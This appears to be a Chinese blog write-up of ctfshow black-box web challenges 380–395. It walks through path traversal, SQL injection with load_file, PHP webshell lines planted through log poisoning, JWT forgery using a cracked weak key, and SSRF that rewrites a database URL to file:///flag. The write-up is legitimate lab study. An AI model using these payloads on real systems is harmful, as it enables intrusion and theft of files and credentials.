ctfshow 黑盒测试web380-395 wp


记录下学习内容,题目地址: ctfshow,黑盒测试,信息收集真滴重要

web 380

开启题目,一个小型网站,四处浏览,没半点头绪,后来想到了目录扫描,结果线程最大为5否则504,看其他师傅的wp
有一个page.php页面

打开$id.php失败

猜到是file_get_contents,id传入page,出现关键部分

$html = file_get_contents('page_'.$id.'.php');
	echo $html;

再传入flag,出现flag

web 381

一样打开page.php,变成了

打开page_$id.php失败

直接用…/…/来返回目录查看1/../../../../var/www/html/page,虽然成功了,但没有flag页面,烦躁;找找找,突然看到了index.php源码上有个奇怪的地址

  <link rel="stylesheet" href="alsckdfy/layui/css/tree.css">

打开,/alsckdfy,出现flag

web 381,382

一样打开,/alsckdfy,出现登入页面,直接1’ and 1=1# 注入,出现flag

web 383-386

应该是非预期,跳了挺多东西的,预期可以看看其他师傅的
题目提醒密码前2位是小写字母,后三位是数字,猜估计是爆破,看了看还是5线程,麻了;等爆破的时候,突然看到发送给check.php,想到前面不是有file_get_contents读取么
直接访问page?id=1/../../../../var/www/html/alsckdfy/check出现flag

web 387

好了,page页面没用了,题目提示和web386一样,查看下386的check.php源码,注入不了;再次扫目录,发现clear.php,install,robots.txt;robots.txt有个debug页面,进去发现文件读取,尝试读取/var/www/html/alsckdfy/check.php,回显error;猜测debug页面是运行完文件,在返回回显值;直接日志访问··,运行webshell,放到User-Agent中;打算上传webshell,发现无法传参,直接读取

payload:<?php @eval(system('cat /var/www/html/alsckdfy/check.php'));?>

web 388

打开debug,发现文件无法读取,但还是能运行的,运行日志,将check.php写入文件中,再读取

<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>

web 389

打开debug,发现权限不足,抓包,发现cookie有个auth值,base64解码发现{ "alg": "HS256", "typ": "JWT" },打开jwt在线编码,解码发现密钥为123456,将user改为admin,编码传参,获得权限,同上一样

web 390

jwt签名换了,再到处找找;发现page页面用id来请求页面,试试sql注入,测试了几组数据猜测sql语句为select *,*,* from * where id=$_GET['id'];直接读取文件

payload: ?id=0 union 1,1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)#

web 391,392

测试了下id,发现有了waf,猜测waf是将数组过滤,将前几个为数字的放入id,其他的过滤;继续四处看看;点开一文章,发现搜索框去search.php。开始测试,存在sql注入。奇怪的是'--,#注释符不能共存,只能%23注释;估计是有过滤

payload: ?title=0' union select 1,1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)%23

下一题一样,就是flag放在/flag

payload: ?title=0' union select 1,1,substr((select load_file('/flag')),1,255)%23

web 393

没有思路,看了其他师傅的wp
这题是ssrf+sql的题;先sql注入查数据库,表

0' union select 1,1,schema_name from information_schema.schemata%23

0' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'%23

0' union select 1,1,group_concat(column_name) from information_schema.columns where table_name='content'%23

但查不了数据,但link表中为id,title,content
打开首页最下面,一个搜索引擎其利用查询link表中的数据来跳转页面,因此可以重写数据来实现ssrf

0';update link set url='file:///flag' %23

随便打开一个搜索引擎就行

web394,395

payload_1
存在过滤,16进制绕过,打开check.php

0';update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870;#

payload_2
看了其他师傅的,还可以Redis攻击,将上面的16进制换掉就行,但url是int类型,最大为255,需要先改成text型,再写入

0';alter table link modify column url text;%23

利用gopherus工具获取payload,写入,得到shell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值